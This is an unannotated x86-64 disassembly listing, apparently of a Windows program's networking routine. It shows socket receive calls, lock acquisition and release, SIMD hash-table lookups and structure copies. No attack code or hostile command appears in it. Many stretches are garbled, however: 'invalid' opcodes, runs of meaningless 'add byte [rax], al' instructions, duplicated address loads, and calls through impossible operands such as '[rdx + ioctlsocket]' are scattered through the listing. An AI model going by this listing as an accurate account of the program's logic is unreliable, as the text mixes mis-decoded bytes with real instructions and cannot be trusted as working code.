je 0x1400eba8f
cmp eax, 1
jne 0x1400ee255
mov rbx, rcx
mov dword [rsp + 0x618], r10d
mov dword [rsp + 0x61c], r14d
mov qword [rsp + 0x620], rdi
movdqu xmmword [rsp + 0x628], xmm10
mov rax, qword [rsp + 0x618]
movq r9, xmm10
lea rcx, [rsp + 0x468]
lea ecx, [rsp + 0x468]
lea ecx, [rsp + 0x468]
lea rdx, [rsp + 0x630]
mov r8, rdi
call qword [rax]
mov dword [rsp + 0x464], r13d
mov byte [rsp + 0x461], bpl
mov byte [rsp + 0x460], 1
mov r15, qword [rsp + 0x230]
cmp dword [r15 + 0x3b8], 0
je 0x1400ebdef
test bl, dl
add eax, dword [rax]
invalid
test bl, dl
add eax, dword [rax]
add byte [rbp + 0x39], al
scasd eax, dword [rdi]
rol byte [rbx], 0
add byte [rdi], cl
test esi, eax
add eax, dword [rax]
add byte [rcx - 0x3a], al
xchg eax, ebp
add eax, dword [rax]
add byte [rcx], al
cmp dword [r15 + 0x3c0], r13d
jne 0x1400ebdef
mov byte [r15 + 0x3e8], 1
mov byte [r15 + 0x3e9], bpl
mov dword [r15 + 0x3ec], r13d
mov rax, qword [rsp + 0x468]
mov rdx, qword [rsp + 0x470]
mov r8, qword [rsp + 0x478]
lea rcx, [rsp + 0x480]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x618]
mov rdx, qword [rsp + 0x620]
mov r8, qword [rsp + 0x628]
lea rcx, [rsp + 0x630]
call qword [rax + reloc.WS2_32.dll_recv]
mov r14, qword [rsp + 0x58]
jmp 0x1400eb83a
mov qword [rsp + 0x248], r10
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x240], rcx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ec405
xor r15d, r15d
movzx eax, byte [rbx + 0x18]
test al, al
jne 0x1400eebb6
lea rax, [rbx + 0x20]
mov qword [rsp + 0xc8], rax
lea rax, [rbx + 0x1b8]
mov qword [rsp + 0x50], rax
lea rax, [rbx + 0x1e0]
mov qword [rsp + 0x238], rax
mov rcx, qword [rbx + 0x218]
mov rdx, qword [rbx + 0x220]
mov r8d, r13d
call fcn.14006fa80
mov rdi, rax
mov r8, qword [rbx + 0x200]
add al, byte [rax]
add byte [rax - 0x75], cl
xchg ebx, eax
adc byte [rdx], al
add byte [rax], al
mov rax, qword [rbx + 0x1e0]
mov r9, qword [rbx + 0x1e8]
mov rcx, rdi
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
mov r11, rdi
and r11, r9
movdqu xmm1, xmmword [rax + r11]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb esi, xmm2
nop word cs:[rax + rax]
test si, si
je 0x1400ebbb0
tzcnt r14d, esi
add r14, r11
and r14, r9
lea rcx, [r14*8]
mov r12, rax
sub r12, rcx
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x1400ee6b6
lea ebp, [rsi - 1]
and ebp, esi
shl rcx, 4
mov esi, ebp
cmp dword [r8 + rcx + 8], r13d
jne 0x1400ebb70
jmp 0x1400ebbcd
pcmpeqb xmm1, xmm6
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x1400edc3b
add r11, r10
add r11, 0x10
add r10, 0x10
jmp 0x1400ebb4f
neg r14
mov rcx, qword [rax + r14*8 - 8]
mov rdx, qword [rbx + 0x210]
cmp rcx, rdx
jae 0x1400ee8cb
mov rax, qword [rbx + 0x200]
shl rcx, 4
mov ebp, dword [rax + rcx + 8]
mov r14d, dword [rax + rcx + 0xc]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
add byte [rax - 0x2f], cl
loopne 0x1400ebc57
test eax, eax
jne 0x1400ec422
xor r8d, r8d
mov rcx, qword [rsp + 0x90]
movzx eax, byte [rcx + 0x18]
test al, al
mov rdx, qword [rsp + 0x248]
jne 0x1400eebfc
mov dword [rsp + 0xa4], r8d
mov dword [rsp + 0x238], r15d
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x618], rax
mov dword [rsp + 0x620], r14d
mov dword [rsp + 0x624], ebp
mov dword [rsp + 0xd0], r14d
mov dword [rsp + 0xd4], ebp
mov r12d, r14d
cmp qword [rbx + 0x1c8], r12
jbe 0x1400eeaae
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x1400eeaae
imul rsi, r12, 0x130
cmp dword [rax + rsi], 2
je 0x1400eeaae
add byte cs:[rax], al
add rax, rsi
cmp dword [rax + 0x114], ebp
jne 0x1400eeaae
lea r9, [rcx + 0x20]
lea rdi, [rbx + 0x170]
mov r13d, dword [rax + 0x48]
lea rcx, [rbx + 0xc0]
lea rax, [rbx + 0x160]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
lea r15, [rsp + 0x618]
mov qword [rsp + 0x20], r15
mov r8b, 1
call fcn.1400de450
mov rcx, qword [rsp + 0xc8]
mov rdx, r15
mov r8, rdi
call fcn.140075630
mov dword [rsp + 0xd0], r14d
mov dword [rsp + 0xd4], ebp
cmp qword [rbx + 0x1c8], r12
jbe 0x1400eeb01
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x1400eeb01
cmp dword [rax + rsi], 2
je 0x1400eeb01
add rax, rsi
cmp dword [rax + 0x114], ebp
jne 0x1400eeb01
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
mov r14, qword [rsp + 0x58]
mov r15, qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
je 0x1400ebd72
call qword [rdx + ioctlsocket]
cmp r13d, 0x3b9aca00
setne r8b
mov rcx, rdi
lea rdx, [rsp + 0x618]
call fcn.14006f170
cmp byte [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x2e0]
jne 0x1400ebdb2
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ede26
mov rcx, qword [rsp + 0x48]
call r15
cmp byte [rsp + 0x238], 0
jne 0x1400ebdd7
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400ede44
mov rcx, qword [rsp + 0x240]
call r15
mov r15, qword [rsp + 0x230]
jmp 0x1400eb83a
mov rax, qword [rsp + 0x480]
mov qword [rsp + 0x120], rax
movzx eax, byte [rsp + 0x460]
movzx ecx, byte [rsp + 0x461]
movzx edx, word [rsp + 0x462]
mov r8d, dword [rsp + 0x464]
mov r9, qword [rsp + 0x468]
movups xmm0, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0x110], xmm0
mov byte [rsp + 0x100], al
mov byte [rsp + 0x101], cl
mov word [rsp + 0x102], dx
mov dword [rsp + 0x104], r8d
mov qword [rsp + 0x108], r9
lea rcx, [rsp + 0x330]
lea rdi, [rsp + 0x100]
mov rdx, rdi
call fcn.1400f69b0
movupd xmm0, xmmword [rsp + 0x618]
movupd xmm1, xmmword [rsp + 0x628]
movapd xmmword [rsp + 0x110], xmm1
movapd xmmword [rsp + 0x100], xmm0
mov rcx, rbx
call fcn.1400f0630
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x124], r13d
mov rcx, qword [rsp + 0x2e8]
mov rdx, rdi
call fcn.14006ed50
mov r14, qword [rsp + 0x58]
jmp 0x1400eb83a
mov rax, qword [r15 + 0x3f0]
mov qword [rsp + 0x48], rax
lea rsi, [rax + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400edf80
xor edi, edi
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax + 0x18]
test al, al
jne 0x1400eee36
mov rbx, qword [r15 + 0x3f8]
lea rcx, [rbx + 0x10]
mov qword [rsp + 0x530], rcx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400edfa1
mov dword [rsp + 0xc0], 0
mov dword [rsp + 0x304], edi
movzx eax, byte [rbx + 0x18]
test al, al
mov r8, qword [rsp + 0x48]
jne 0x1400eee0c
mov qword [rsp + 0x5a8], rsi
mov eax, dword [r8 + 0x68]
mov edi, dword [r8 + 0x6c]
sub edi, eax
jle 0x1400ebfe2
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
cmp edi, ecx
jl 0x1400ebfe2
cmp dword [r15 + 0x100], 4
jne 0x1400ede5a
cmp qword [r15 + 0x150], 0xfffffffffffffef7
jae 0x1400ede5a
mov dword [rsp + 0x104], 0
mov dword [rsp + 0x108], edi
mov byte [rsp + 0x100], 7
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x100]
call fcn.1400cfd90
cmp al, 0xc
jne 0x1400eef56
mov r8, qword [rsp + 0x48]
add edi, dword [r8 + 0x68]
jo 0x1400eef69
mov dword [r8 + 0x68], edi
mov qword [rsp + 0x88], rbx
lea rax, [rbx + 0x20]
mov qword [rsp + 0x268], rax
lea rax, [r8 + 0x1b8]
mov qword [rsp + 0x50], rax
lea rax, [r8 + 0x170]
mov qword [rsp + 0xc8], rax
mov ebp, dword [r8 + 0x70]
mov r12d, dword [r8 + 0x74]
mov eax, dword [r8 + 0x78]
jmp 0x1400ec06f
shl rdi, 0x20
or rdi, rsi
cmp ebp, 0x3b9aca00
setne r8b
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdi
mov rcx, qword [rsp + 0xc8]
lea rdx, [rsp + 0x100]
call fcn.14006f170
mov r14, qword [rsp + 0x58]
mov r8, qword [rsp + 0x48]
mov ebp, r15d
mov eax, dword [rsp + 0x90]
mov ebx, r12d
mov edi, eax
mov r15, qword [rsp + 0x230]
cmp dword [r15 + 0x100], 4
jne 0x1400ec093
cmp qword [r15 + 0x150], 0xfffffffffffffef7
jb 0x1400ec0e1
mov rcx, qword [rsp + 0xa8]
mov rdx, r14
call fcn.1400f6e40
test rax, rax
jne 0x1400edc91
mov r12, rdx
test rdx, rdx
jne 0x1400edc96
cmp dword [r15 + 0x100], 4
mov esi, 1
mov r8, qword [rsp + 0x48]
jne 0x1400edc94
cmp qword [r15 + 0x150], 0xfffffffffffffef6
ja 0x1400edc94
test ebp, ebp
je 0x1400ec433
mov esi, ebx
cmp ebx, dword [r8 + 0x7c]
jne 0x1400ec170
cmp edi, dword [r8 + 0x80]
jne 0x1400ec170
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
mov rcx, qword [r8 + 0x1c8]
cmp rcx, rsi
jbe 0x1400ee8d9
mov rax, qword [r8 + 0x1b8]
test rax, rax
je 0x1400ee8d9
imul rdx, rsi, 0x130
cmp dword [rax + rdx], 2
je 0x1400ee8d9
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x1400ee8d9
cmp dword [rdx + 0xe8], 0
jne 0x1400eea7a
mov dword [r8 + 0x70], 0
xor r15d, r15d
mov r9d, edi
mov r12d, ebx
jmp 0x1400ec204
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
cmp qword [r8 + 0x1c8], rsi
jbe 0x1400ee92c
mov rax, qword [r8 + 0x1b8]
test rax, rax
je 0x1400ee92c
imul rcx, rsi, 0x130
cmp dword [rax + rcx], 2
je 0x1400ee92c
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x1400ee92c
mov r12d, dword [rax + 0xec]
mov r9d, dword [rax + 0xf0]
cmp dword [rax + 0xe8], 0
mov dword [rax + 0xe8], 0
je 0x1400eea94
mov dword [r8 + 0x70], 1
mov dword [r8 + 0x74], r12d
mov dword [r8 + 0x78], r9d
mov rax, qword [r8 + 0x1b8]
mov rcx, qword [r8 + 0x1c8]
mov r15d, 1
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
cmp rcx, rsi
jbe 0x1400ee92c
test rax, rax
je 0x1400ee92c
imul r13, rsi, 0x130
cmp dword [rax + r13], 2
je 0x1400ee92c
add rax, r13
cmp dword [rax + 0x114], edi
jne 0x1400ee92c
mov byte [rax + 0x127], 0
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
cmp qword [r8 + 0x1c8], rsi
jbe 0x1400ee8d9
mov rax, qword [r8 + 0x1b8]
test rax, rax
je 0x1400ee8d9
cmp dword [rax + r13], 2
je 0x1400ee8d9
add rax, r13
cmp dword [rax + 0x114], edi
jne 0x1400ee8d9
mov ebp, dword [rax + 0x48]
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
cmp dword [rax], 2
je 0x1400ee8d9
cmp dword [rax + 0x114], edi
jne 0x1400ee8d9
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 3
mov dword [rsp + 0x90], r9d
je 0x1400ec2f0
movzx ecx, cl
cmp ecx, 4
jne 0x1400ec020
cmp byte [rax + 0x51], 0
jne 0x1400ec2fa
jmp 0x1400ec020
cmp byte [rax + 0x52], 0
je 0x1400ec020
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
cmp dword [rax], 2
je 0x1400ee8d9
cmp dword [rax + 0x114], edi
jne 0x1400ee8d9
mov ecx, dword [rax + 0xa0]
mov r14d, dword [rax + 0xa4]
sub r14d, ecx
jle 0x1400ec020
mov edx, ecx
shr edx, 0x1f
add edx, ecx
sar edx, 1
cmp r14d, edx
jl 0x1400ec020
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
cmp dword [rax], 2
je 0x1400ee8d9
cmp dword [rax + 0x114], edi
jne 0x1400ee8d9
mov eax, dword [rax + 0x114]
mov dword [rsp + 0x104], eax
mov dword [rsp + 0x108], r14d
mov byte [rsp + 0x100], 7
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x100]
call fcn.1400cfd90
cmp al, 0xc
jne 0x1400eecc0
mov dword [rsp + 0x460], ebx
mov dword [rsp + 0x464], edi
mov rax, qword [rsp + 0x48]
cmp qword [rax + 0x1c8], rsi
jbe 0x1400ee92c
mov rax, qword [rax + 0x1b8]
test rax, rax
je 0x1400ee92c
cmp dword [rax + r13], 2
je 0x1400ee92c
add rax, r13
cmp dword [rax + 0x114], edi
jne 0x1400ee92c
add r14d, dword [rax + 0xa0]
jo 0x1400eecf5
mov dword [rax + 0xa0], r14d
jmp 0x1400ec020
call fcn.1401666c0
mov r15d, eax
xor r15b, 1
movzx eax, byte [rbx + 0x18]
test al, al
je 0x1400ebad4
jmp 0x1400eebb6
call fcn.1401666c0
mov r8d, eax
xor r8b, 1
jmp 0x1400ebc1a
lea rcx, [r8 + 0xc8]
mov qword [rsp + 0x260], rcx
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x50]
mov r9, r15
call fcn.1400f7be0
mov r8, qword [rsp + 0x48]
mov eax, dword [r15 + 0x170]
mov qword [rsp + 0x5b8], rax
lea r13, [r8 + 0xd8]
lea rax, [r8 + 0xdc]
mov qword [rsp + 0x248], rax
lea rax, [r8 + 0xe0]
mov qword [rsp + 0x240], rax
lea rax, [r8 + 0xe4]
mov qword [rsp + 0x238], rax
lea rax, [r8 + 0xe8]
mov qword [rsp + 0x540], rax
lea rax, [r8 + 0x100]
mov qword [rsp + 0x5b0], rax
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x90], r13
jmp 0x1400ec4f9
mov eax, edi
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x48]
mov rax, qword [r8 + 0x170]
cmp rax, qword [r8 + 0x178]
jbe 0x1400ec700
lea rdi, [rsp + 0x460]
mov rcx, rdi
mov rdx, qword [rsp + 0x5b0]
mov r8, qword [rsp + 0x50]
call fcn.140071910
cmp qword [rsp + 0x460], 0
je 0x1400ec6c1
mov rbx, qword [rsp + 0x460]
mov rsi, qword [rsp + 0x468]
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
call fcn.14006eff0
mov qword [rsp + 0x618], rsi
mov ecx, esi
cmp qword [rbx + 0x10], rcx
jbe 0x1400eec59
mov rax, qword [rbx]
test rax, rax
je 0x1400eec59
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x1400eec59
mov rdi, rsi
shr rdi, 0x20
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x1400eec59
mov rdx, qword [rax + 0x90]
mov rcx, qword [rax + 0x98]
mov qword [rax + 0x90], 0
test rdx, rdx
je 0x1400ec5c1
call qword [rdx + ioctlsocket]
mov qword [rsp + 0x460], rsi
mov ecx, esi
cmp qword [rbx + 0x10], rcx
jbe 0x1400ee8d9
mov rdx, qword [rbx]
test rdx, rdx
je 0x1400ee8d9
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je 0x1400ee8d9
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x1400ee8d9
cmp byte [rdx + 0x121], 0
mov r8, qword [rsp + 0x48]
jne 0x1400ec700
mov dword [rsp + 0x460], esi
mov dword [rsp + 0x464], edi
mov rdx, qword [rbx]
test rdx, rdx
je 0x1400ee92c
cmp dword [rdx + rax], 2
je 0x1400ee92c
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x1400ee92c
mov byte [rdx + 0x121], 1
cmp dword [r13], 0
je 0x1400ec6c8
mov rdx, qword [rsp + 0x248]
movsd xmm0, qword [rdx]
mov dword [rsp + 0x460], esi
mov dword [rsp + 0x464], edi
cmp qword [rbx + 0x10], rcx
jbe 0x1400ee92c
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400ee92c
cmp dword [rcx + rax], 2
je 0x1400ee92c
add rcx, rax
cmp dword [rcx + 0x114], edi
jne 0x1400ee92c
mov dword [rcx + 0xb8], 1
movlpd qword [rcx + 0xbc], xmm0
mov rax, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x240]
jmp 0x1400ec6f4
mov r8, qword [rsp + 0x48]
jmp 0x1400ec700
mov dword [r13], 1
mov rax, qword [rsp + 0x248]
mov dword [rax], esi
mov rax, qword [rsp + 0x240]
mov dword [rax], edi
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x540]
mov dword [rax], esi
mov dword [rcx], edi
nop dword [rax + rax]
mov qword [rsp + 0x570], 2
mov qword [rsp + 0x590], 0
cmp dword [r13], 0
mov rbx, qword [rsp + 0x88]
jne 0x1400ec740
jmp 0x1400ed7d1
cmp dword [r13], 0
mov r8, qword [rsp + 0x48]
je 0x1400ecd92
mov rax, qword [rsp + 0x248]
mov r12d, dword [rax]
mov rax, qword [rsp + 0x240]
mov esi, dword [rax]
mov rax, qword [rsp + 0x238]
cmp r12d, dword [rax]
jne 0x1400ec7e0
mov rax, qword [rsp + 0x540]
cmp esi, dword [rax]
jne 0x1400ec7e0
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], esi
mov rcx, qword [r8 + 0x1c8]
cmp rcx, r12
jbe 0x1400ee8d9
mov rax, qword [r8 + 0x1b8]
test rax, rax
je 0x1400ee8d9
imul rdx, r12, 0x130
cmp dword [rax + rdx], 2
je 0x1400ee8d9
add rdx, rax
cmp dword [rdx + 0x114], esi
jne 0x1400ee8d9
cmp dword [rdx + 0xb8], 0
jne 0x1400eea7a
mov dword [r13], 0
jmp 0x1400ec86d
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], esi
cmp qword [r8 + 0x1c8], r12
jbe 0x1400ee92c
mov rax, qword [r8 + 0x1b8]
test rax, rax
je 0x1400ee92c
imul rcx, r12, 0x130
cmp dword [rax + rcx], 2
je 0x1400ee92c
add rax, rcx
cmp dword [rax + 0x114], esi
jne 0x1400ee92c
movsd xmm0, qword [rax + 0xbc]
cmp dword [rax + 0xb8], 0
mov dword [rax + 0xb8], 0
je 0x1400eea94
mov dword [r8 + 0xd8], 1
movlpd qword [r8 + 0xdc], xmm0
mov rax, qword [r8 + 0x1b8]
mov rcx, qword [r8 + 0x1c8]
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], esi
cmp rcx, r12
jbe 0x1400ee92c
test rax, rax
je 0x1400ee92c
imul rbp, r12, 0x130
cmp dword [rax + rbp], 2
je 0x1400ee92c
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400ee92c
mov rcx, rsi
shl rcx, 0x20
or rcx, r12
mov byte [rax + 0x121], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], rcx
mov qword [rsp + 0x278], 2
mov qword [rsp + 0x298], 0
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], esi
mov rcx, qword [r8 + 0x1c8]
cmp rcx, r12
jbe 0x1400ee8d9
mov rdi, qword [r8 + 0x1b8]
test rdi, rdi
je 0x1400ee8d9
cmp dword [rdi + rbp], 2
je 0x1400ee8d9
lea rax, [rdi + rbp]
cmp dword [rax + 0x114], esi
jne 0x1400ee8d9
mov edx, dword [rax + 0x48]
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
cmp dword [rax], 2
je 0x1400eea05
cmp dword [rax + 0x114], esi
jne 0x1400eea05
cmp qword [rax], 0
je 0x1400ec9d0
mov dword [rsp + 0xa4], edx
mov r9, qword [rax + 8]
cmp qword [rbx + 0x30], r9
jbe 0x1400eeb5b
mov r11, qword [rax + 0x10]
imul rcx, r9, 0x130
mov rdx, qword [rbx + 0x20]
mov rdi, qword [rbx + 0x40]
mov r10, qword [rdx + rcx]
mov r8, qword [rdx + rcx + 8]
mov qword [rdx + rcx], 2
mov qword [rdx + rcx + 8], rdi
cmp r10, 2
je 0x1400eeb54
dec qword [rbx + 0x38]
mov qword [rbx + 0x40], r9
cmp r9, r11
jne 0x1400ec9f0
test r10, r10
jne 0x1400eeb75
mov qword [rax], 0
jmp 0x1400eca04
mov byte [rsp + 0x310], 9
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
cmp rcx, r12
ja 0x1400eca66
jmp 0x1400ee97f
test r10, r10
je 0x1400eeb8f
mov qword [rax], 1
mov qword [rax + 8], r8
add rdx, rcx
add rdx, 0x10
mov r8d, 0x120
lea rcx, [rsp + 0x310]
call sub.VCRUNTIME140.dll_memcpy
movzx r15d, byte [rsp + 0x310]
test r15d, r15d
je 0x1400ecad0
cmp r15d, 9
mov r9, qword [rsp + 0x48]
jne 0x1400ecec4
mov rdi, qword [r9 + 0x1b8]
mov rcx, qword [r9 + 0x1c8]
mov edx, dword [rsp + 0xa4]
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
cmp rcx, r12
jbe 0x1400ee97f
test rdi, rdi
je 0x1400ee97f
cmp dword [rdi + rbp], 2
je 0x1400ee97f
add rdi, rbp
cmp dword [rdi + 0x114], esi
jne 0x1400ee97f
cmp byte [rdi + 0x50], 5
je 0x1400ecdb3
cmp edx, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xc8]
lea rdx, [rsp + 0x2f0]
call fcn.14006f170
mov r13, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x310]
cmp rax, 9
jne 0x1400ecc9d
jmp 0x1400eccc0
mov r11, qword [rsp + 0x318]
movdqu xmm11, xmmword [rsp + 0x320]
movdqu xmm10, xmmword [rsp + 0x330]
mov r15d, dword [rsp + 0x340]
movzx edi, byte [rsp + 0x344]
movzx r14d, byte [rsp + 0x345]
movzx ebx, byte [rsp + 0x346]
movzx eax, byte [rsp + 0x347]
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
mov r10, qword [rsp + 0x48]
cmp qword [r10 + 0x1c8], r12
jbe 0x1400ee97f
mov rcx, qword [r10 + 0x1b8]
test rcx, rcx
je 0x1400ee97f
cmp dword [rcx + rbp], 2
je 0x1400ee97f
add rcx, rbp
cmp dword [rcx + 0x114], esi
jne 0x1400ee97f
mov r8d, dword [rcx + 0x84]
movq r13, xmm10
mov rdx, r13
test r11, r11
je 0x1400ecb8a
cmp r11, 1
jne 0x1400ecb96
test rdx, rdx
je 0x1400ecb96
test rax, rax
je 0x1400eccc0
cmp eax, 3
je 0x1400eccc0
lea rcx, [rsp + 0x310]
call fcn.1400da860
nop word cs:[rax + rax]
mov rdx, qword [rsp + 0x278]
cmp rdx, 2
je 0x1400ec730
mov rcx, qword [rsp + 0x280]
mov rax, qword [rsp + 0x288]
test rdx, rdx
je 0x1400eccf9
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x290]
call qword [rax + 0x68]
mov rdx, qword [rsp + 0x278]
cmp rdx, 2
je 0x1400ec730
mov rcx, qword [rsp + 0x280]
mov rax, qword [rsp + 0x288]
test rdx, rdx
je 0x1400ecd3d
xchg ebx, eax
int3
mov r15b, 9
mov rax, qword [rsp + 0x40]
mov edi, eax
mov rdx, qword [rsp + 0x570]
cmp rdx, 2
jne 0x1400ed6f4
jmp fcn.1400ed7b0
mov dword [rsp + 0xa4], edx
mov r11d, dword [rdi + 0x54]
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
cmp dword [rdi], 2
je 0x1400ee97f
cmp dword [rdi + 0x114], esi
jne 0x1400ee97f
mov ebx, dword [rdi + 0x114]
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
cmp dword [rdi], 2
je 0x1400eea05
cmp dword [rdi + 0x114], esi
jne 0x1400eea05
movzx eax, byte [rdi + 0x50]
lea ecx, [rax - 6]
cmp cl, 6
jb 0x1400ece43
lea ecx, [rax - 3]
cmp cl, 2
ja 0x1400ece19
mov r9, qword [rsp + 0x50]
mov word [rdi + 0x50], 0x100
mov dword [rdi + 0x54], ebx
mov dword [rdi + 0x58], r11d
mov dword [rsp + 0x60], r12d
mov dword [rsp + 0x64], esi
mov ecx, r12d
cmp qword [r9 + 0x10], rcx
jbe 0x1400ee97f
mov rax, qword [r9]
test rax, rax
je 0x1400ee97f
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x1400ee97f
add rax, rcx
cmp dword [rax + 0x114], esi
jne 0x1400ee97f
mov ecx, dword [rax + 0x114]
mov r15b, 8
mov r8d, dword [rsp + 0x7c]
movzx edi, byte [rsp + 0x3e]
movzx r14d, byte [rsp + 0x70]
movdqa xmm11, xmm8
movdqa xmm10, xmm9
movzx ebx, byte [rsp + 0x3f]
jmp 0x1400ed472
cmp r15d, 3
jne 0x1400ed214
mov eax, dword [rsp + 0x318]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x31c]
mov qword [rsp + 0x40], rax
movdqu xmm11, xmmword [rsp + 0x320]
movdqu xmm10, xmmword [rsp + 0x330]
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x348]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0x34c]
mov dword [rsp + 0x9c], eax
movzx eax, byte [rsp + 0x350]
mov byte [rsp + 0x3f], al
lea rcx, [rsp + 0x351]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x2d0], eax
mov dword [rsp + 0x2d3], ecx
mov eax, dword [rsp + 0x358]
mov dword [rsp + 0x70], eax
movzx edi, byte [rsp + 0x35c]
movzx eax, byte [rsp + 0x35d]
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x35e]
mov dword [rsp + 0xc4], eax
mov r8d, 0xc5
lea rcx, [rsp + 0x100]
lea rdx, [rsp + 0x35f]
mov rbx, r9
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbx + 0x1f8], 0
lea r15, [rsp + 0x460]
je 0x1400eeeba
mov r8d, dword [rsp + 0x424]
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x538], rax
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rbx + 0x218]
mov rdx, qword [rbx + 0x220]
mov dword [rsp + 0x78], r8d
call fcn.14006fa80
mov r8, qword [rbx + 0x200]
mov rdx, qword [rbx + 0x210]
mov r9, qword [rbx + 0x1e0]
mov r10, qword [rbx + 0x1e8]
mov rcx, rax
shr rcx, 0x39
shr ecx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
sal dl, 0xf
jo 0x1400ecfd6
add byte [rsi + 0xf], ah
jo 0x1400ecfdb
add byte [rbp + 0x31], al
fisttp dword [rcx + riz - 0x30]
movdqu xmm1, xmmword [r9 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb ebx, xmm2
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
test bx, bx
je 0x1400ed081
tzcnt ecx, ebx
add rcx, rax
and rcx, r10
shl rcx, 3
mov r14, r9
sub r14, rcx
mov rcx, qword [r14 - 8]
cmp rdx, rcx
jbe 0x1400ee6b6
lea ebp, [rbx - 1]
and ebp, ebx
shl rcx, 4
mov ebx, ebp
mov ebp, dword [rsp + 0x78]
and al, 0x78
cmp dword [r8 + rcx + 8], ebp
jne 0x1400ed040
pcmpeqb xmm1, xmm6
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x1400eeeba
add rax, r11
add rax, 0x10
add r11, 0x10
jmp 0x1400ed01f
add byte [rax], al
cmovae rax, r8
cmp edx, eax
jae 0x1400ed17c
mov byte [rcx + 0x123], 1
mov rdx, qword [rcx + 0x90]
mov rax, qword [rcx + 0x98]
mov qword [rcx + 0x90], 0
test rdx, rdx
invalid
je 0x1400ed17c
sal byte [rsi + rcx + 0x48], cl
